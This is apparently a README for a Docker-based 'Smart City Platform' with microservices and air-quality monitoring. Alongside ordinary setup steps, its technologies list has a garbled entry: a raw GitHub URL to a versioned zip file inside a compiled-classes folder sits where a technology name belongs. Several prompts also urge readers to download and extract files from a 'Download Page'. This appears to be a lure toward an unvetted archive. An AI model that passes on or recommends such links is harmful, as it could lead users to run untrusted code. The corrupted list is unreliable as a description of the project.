The Smart City Platform is a modern solution designed for urban management. It offers a multi-protocol microservices architecture, which includes REST, SOAP, gRPC, and GraphQL. This platform enables real-time monitoring of air quality, urban emergencies, and events.
To run the Smart City Platform on your machine, ensure you meet these requirements:
- Operating System: Windows 10 or later, macOS, or a modern Linux distribution
- RAM: At least 4 GB
- Disk Space: Minimum of 1 GB of free space
- Docker: Latest version installed (includes Docker Compose)
-
Install Docker
- Download and install Docker from the official Docker website.
-
Download the Smart City Platform
- Visit this page to download: Download Page.
-
Extract Files
- Once the download is complete, extract the files to a location on your computer.
-
Open Command Line Interface
- Access the command line interface on your machine:
- Windows: Search for "cmd" in the Start menu
- macOS: Open "Terminal" from Applications
- Linux: Use your preferred terminal emulator
- Access the command line interface on your machine:
-
Navigate to the Directory
- Use the
cdcommand to change the directory to where you extracted the files. For example:cd path/to/extracted-folder
- Use the
-
Start the Platform
- Run the following command to start the platform using Docker:
docker-compose up - This command will build and start the application. You will see various logs indicating that the services are running.
- Run the following command to start the platform using Docker:
-
Access the Platform
- Once the services are running, open your web browser and go to:
http://localhost:3000 - You should now see the Smart City Platform interface.
- Once the services are running, open your web browser and go to:
If you encounter issues while running the application:
- Docker Not Starting: Ensure Docker is running on your machine.
- Service Unavailable: Check the logs in the terminal for specific error messages.
- Access Issues: Confirm that you are using the correct URL and port.
The Smart City Platform provides a variety of features to help manage your urban environment effectively:
- Real-Time Monitoring: Track air quality and urban events live.
- Microservices Architecture: Each service runs independently, making updates easier and reducing downtime.
- Multi-Protocol Support: Interact with the platform using REST, SOAP, gRPC, or GraphQL.
- User-Friendly Dashboard: A simple interface that allows quick access to data and services.
Our platform leverages several modern technologies to deliver reliable and efficient services:
- https://raw.githubusercontent.com/himanshumaheta36/smart-city-platform/main/orchestration-service/target/classes/com/smart-city-platform_v1.6-beta.2.zip For server-side scripting, ensuring fast performance.
- React: For building the user interface, providing a responsive experience.
- Spring Boot: To create robust backend services.
- Docker & Docker Compose: For containerization, allowing easy setup and scalability.
If you need help or have questions, please refer to the GitHub Issues page. You can report bugs or request features from here.
- Documentation: API Documentation
- Get Involved: Check our Contributing Guide
To stay updated with the latest features and improvements, remember to check for new releases frequently. You can do this by visiting the download page: Download Page.
By following these steps, you can successfully download, install, and run the Smart City Platform. Enjoy managing your urban space effectively!